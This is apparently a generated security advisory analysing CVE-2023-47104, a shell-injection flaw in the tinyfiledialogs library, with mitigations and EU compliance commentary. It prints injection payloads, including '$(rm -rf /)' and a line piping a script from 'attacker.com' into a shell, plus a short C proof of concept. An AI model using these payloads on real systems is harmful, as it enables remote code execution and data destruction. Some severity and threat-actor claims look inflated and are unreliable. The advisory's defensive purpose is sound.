Description
tinyfiledialogs (aka tiny file dialogs) before 3.15.0 allows shell metacharacters (such as a backquote or a dollar sign) in titles, messages, and other input data. NOTE: this issue exists because of an incomplete fix for CVE-2020-36767, which only considered single and double quote characters.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-51258 (CVE-2023-47104)
Vulnerability in tinyfiledialogs – Incomplete Shell Metacharacter Sanitization
1. Vulnerability Assessment and Severity Evaluation
Overview
EUVD-2023-51258 (CVE-2023-47104) is a critical remote code execution (RCE) vulnerability in tinyfiledialogs, a lightweight cross-platform library for file dialogs. The flaw stems from incomplete input sanitization, allowing attackers to inject shell metacharacters (e.g., backticks `, dollar signs $, semicolons ;, pipes |) into dialog titles, messages, or other user-controlled input fields.
Severity Classification
- CVSS v3.1 Base Score: 9.8 (Critical)
- Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Exploitability Metrics:
- Attack Vector (AV:N): Network-exploitable (no local access required).
- Attack Complexity (AC:L): Low (no specialized conditions needed).
- Privileges Required (PR:N): None (unauthenticated exploitation).
- User Interaction (UI:N): None (fully automated exploitation possible).
- Impact Metrics:
- Confidentiality (C:H): High (arbitrary command execution).
- Integrity (I:H): High (system compromise).
- Availability (A:H): High (denial-of-service or full takeover).
- Vector:
Root Cause Analysis
- The vulnerability is an incomplete fix for CVE-2020-36767, which initially addressed only single (
') and double (") quote characters in input sanitization. - The updated patch (commit
ac9f9f6d8cdf45ca8d9b4cf1f201ee472301e114) failed to account for other shell metacharacters, leaving the library vulnerable to command injection when user-controlled input is passed to shell functions (e.g.,system(),popen(), orexec()).
2. Potential Attack Vectors and Exploitation Methods
Exploitation Scenarios
An attacker can exploit this vulnerability in multiple ways:
A. Direct Command Injection via Dialog Inputs
- Attack Vector: Malicious input in dialog titles, messages, or file paths.
- Exploitation Method:
- If an application using
tinyfiledialogspasses user-controlled input (e.g., a filename or message) to a shell function, an attacker can inject commands. - Example payload:
`id > /tmp/pwned` # Executes `id` and writes output to /tmp/pwned $(rm -rf /) # Attempts to delete root directory (if permissions allow) - If the application uses
system()or similar functions, the injected command executes with the privileges of the vulnerable process.
- If an application using
B. Phishing via Malicious File Dialogs
- Attack Vector: Social engineering (e.g., tricking a user into opening a crafted dialog).
- Exploitation Method:
- An attacker could host a malicious application or script that uses
tinyfiledialogsto display a dialog with a payload. - Example:
tinyfd_messageBox("Warning", "$(curl http://attacker.com/exploit.sh | sh)", "ok", "warning", 1); - If the application processes the message, the payload executes.
- An attacker could host a malicious application or script that uses
C. Supply Chain Attack via Dependency Exploitation
- Attack Vector: Compromised or malicious dependencies in software using
tinyfiledialogs. - Exploitation Method:
- If a downstream application (e.g., a file manager, IDE, or game) uses an outdated version of
tinyfiledialogs, an attacker could craft input to trigger RCE. - Example: A game mod or plugin that uses
tinyfiledialogsfor file selection could be exploited if it processes untrusted input.
- If a downstream application (e.g., a file manager, IDE, or game) uses an outdated version of
Proof-of-Concept (PoC) Exploitation
A minimal PoC in C demonstrating the vulnerability:
#include "tinyfiledialogs.h"
int main() {
// Malicious input with shell metacharacters
const char *malicious_input = "`id > /tmp/exploit_output`";
tinyfd_messageBox("Exploit", malicious_input, "ok", "info", 1);
return 0;
}
- If
tinyfiledialogsinternally usessystem()or similar, theidcommand executes.
3. Affected Systems and Software Versions
Vulnerable Versions
- All versions of
tinyfiledialogsbefore 3.15.0 are affected. - The vulnerability was partially patched in earlier versions (addressing only quotes) but fully fixed in 3.15.0+.
Affected Software Ecosystem
- Direct Dependencies:
- Applications using
tinyfiledialogsfor file dialogs (e.g., games, file managers, IDE plugins).
- Applications using
- Indirect Dependencies:
- Projects that bundle
tinyfiledialogs(e.g., Servo browser engine, as referenced in the GitHub issue). - Linux/Windows/macOS applications that rely on the library for cross-platform dialogs.
- Projects that bundle
Detection Methods
- Static Analysis:
- Search for
tinyfiledialogsin project dependencies (CMakeLists.txt,Makefile,package.json). - Check for calls to
tinyfd_*functions with unsanitized user input.
- Search for
- Dynamic Analysis:
- Fuzz dialog inputs with shell metacharacters (
`,$,;,|,&). - Monitor for unexpected command execution (e.g., via
straceor Process Monitor).
- Fuzz dialog inputs with shell metacharacters (
4. Recommended Mitigation Strategies
Immediate Actions
- Upgrade to
tinyfiledialogs 3.15.0or later (the only fully patched version).- Patch commit:
ac9f9f6d8cdf45ca8d9b4cf1f201ee472301e114
- Patch commit:
- Apply Input Sanitization Workarounds (if upgrade is not possible):
- Strip all shell metacharacters from user input before passing to
tinyfiledialogs:#include <ctype.h> void sanitize_input(char *input) { for (int i = 0; input[i]; i++) { if (strchr("`$;|&<>(){}[]", input[i])) { input[i] = '_'; // Replace with safe character } } } - Use
execvp()instead ofsystem()(if possible) to avoid shell interpretation.
- Strip all shell metacharacters from user input before passing to
Long-Term Mitigations
- Dependency Hardening:
- Enforce strict version pinning for
tinyfiledialogsin build systems. - Use SBOM (Software Bill of Materials) tools to track vulnerable dependencies.
- Enforce strict version pinning for
- Runtime Protections:
- Deploy seccomp (Linux) or AppContainer (Windows) to restrict shell execution.
- Enable ASLR, DEP, and stack canaries to mitigate exploitation.
- Code Audits:
- Review all calls to
tinyfd_*functions for unsanitized input. - Replace
tinyfiledialogswith safer alternatives (e.g., platform-native dialogs or libraries with stricter input validation).
- Review all calls to
Vendor-Specific Recommendations
- For Developers:
- Audit all applications using
tinyfiledialogsfor unsanitized input. - Replace
system()-based dialogs with direct GUI toolkit calls (e.g., GTK, Qt, Win32 API).
- Audit all applications using
- For End Users:
- Update software that bundles
tinyfiledialogs(e.g., games, file managers). - Use application sandboxing (e.g., Firejail, Flatpak) to limit impact.
- Update software that bundles
5. Impact on the European Cybersecurity Landscape
Regulatory and Compliance Implications
- NIS2 Directive (EU 2022/2555):
- Organizations in critical sectors (energy, transport, healthcare) must patch within 24-72 hours of a critical vulnerability disclosure.
- Failure to mitigate could result in fines up to €10M or 2% of global turnover.
- GDPR (EU 2016/679):
- If exploitation leads to data breaches, affected organizations may face regulatory scrutiny and penalties.
- ENISA Guidelines:
- The vulnerability aligns with ENISA’s "Threat Landscape for Supply Chain Attacks" (2023), highlighting risks from third-party dependencies.
Threat Actor Exploitation Potential
- Opportunistic Attacks:
- Script kiddies and automated exploit tools (e.g., Metasploit modules) may target unpatched systems.
- Targeted Attacks:
- APT groups (e.g., Russian/Chinese state-sponsored actors) could exploit this in supply chain attacks against European critical infrastructure.
- Ransomware gangs may use it for initial access in multi-stage attacks.
Sector-Specific Risks
| Sector | Risk Level | Potential Impact |
|---|---|---|
| Government | High | Espionage, data exfiltration |
| Healthcare | Critical | Patient data theft, ransomware |
| Financial | High | Fraud, transaction manipulation |
| Energy/Utilities | Critical | Disruption of critical services |
| Gaming | Medium | Cheat distribution, malware propagation |
6. Technical Details for Security Professionals
Vulnerability Mechanics
- Affected Functions:
tinyfd_messageBox()tinyfd_inputBox()tinyfd_saveFileDialog()tinyfd_openFileDialog()tinyfd_selectFolderDialog()
- Underlying Issue:
- The library uses
system()-like functions to invoke platform-specific dialogs (e.g.,zenityon Linux,osascripton macOS). - No proper escaping of shell metacharacters in user-controlled input.
- The library uses
Exploitation Requirements
| Factor | Details |
|---|---|
| Authentication | None (unauthenticated) |
| User Interaction | None (if input is automated) |
| Privilege Escalation | Depends on the vulnerable process (could be user or root) |
| Network Access | Remote (if input is received over a network) |
Post-Exploitation Impact
- Linux/macOS:
- Arbitrary command execution with the privileges of the vulnerable process.
- Potential privilege escalation via
sudoorsetuidbinaries.
- Windows:
- Command execution via
cmd.exeor PowerShell. - Possible lateral movement if the process has network access.
- Command execution via
Detection and Forensics
- Log Analysis:
- Check for unexpected child processes (e.g.,
sh,bash,cmd.exe) spawned by the vulnerable application. - Look for suspicious file modifications (e.g.,
/tmp/exploit_output).
- Check for unexpected child processes (e.g.,
- Memory Forensics:
- Use Volatility or Rekall to analyze process memory for injected commands.
- Network Forensics:
- Monitor for outbound connections from the vulnerable process (e.g.,
curl,wget,nc).
- Monitor for outbound connections from the vulnerable process (e.g.,
Advanced Mitigation Techniques
- Custom Patch for Legacy Systems:
- Modify
tinyfiledialogs.cto escape all shell metacharacters:char* escape_shell_chars(const char *input) { char *output = malloc(strlen(input) * 2 + 1); char *p = output; for (; *input; input++) { if (strchr("`$\\\"' ;|&<>(){}[]*?~", *input)) { *p++ = '\\'; } *p++ = *input; } *p = '\0'; return output; }
- Modify
- eBPF-Based Runtime Protection:
- Use eBPF to block
execve()calls from the vulnerable process if arguments contain shell metacharacters.
- Use eBPF to block
- Containerization:
- Run applications using
tinyfiledialogsin unprivileged containers with seccomp filters.
- Run applications using
Conclusion
EUVD-2023-51258 (CVE-2023-47104) is a critical RCE vulnerability with widespread impact due to the popularity of tinyfiledialogs in cross-platform applications. The incomplete fix for CVE-2020-36767 underscores the importance of comprehensive input sanitization in security patches.
Key Takeaways for Security Teams
- Patch Immediately: Upgrade to
tinyfiledialogs 3.15.0+or apply workarounds. - Audit Dependencies: Identify all applications using the library and assess exposure.
- Monitor for Exploitation: Deploy EDR/XDR solutions to detect post-exploitation activity.
- Enhance Supply Chain Security: Implement SBOMs and dependency hardening to prevent similar issues.
Given the CVSS 9.8 severity and ease of exploitation, this vulnerability poses a significant risk to European organizations, particularly in critical infrastructure sectors. Proactive mitigation is essential to prevent potential breaches.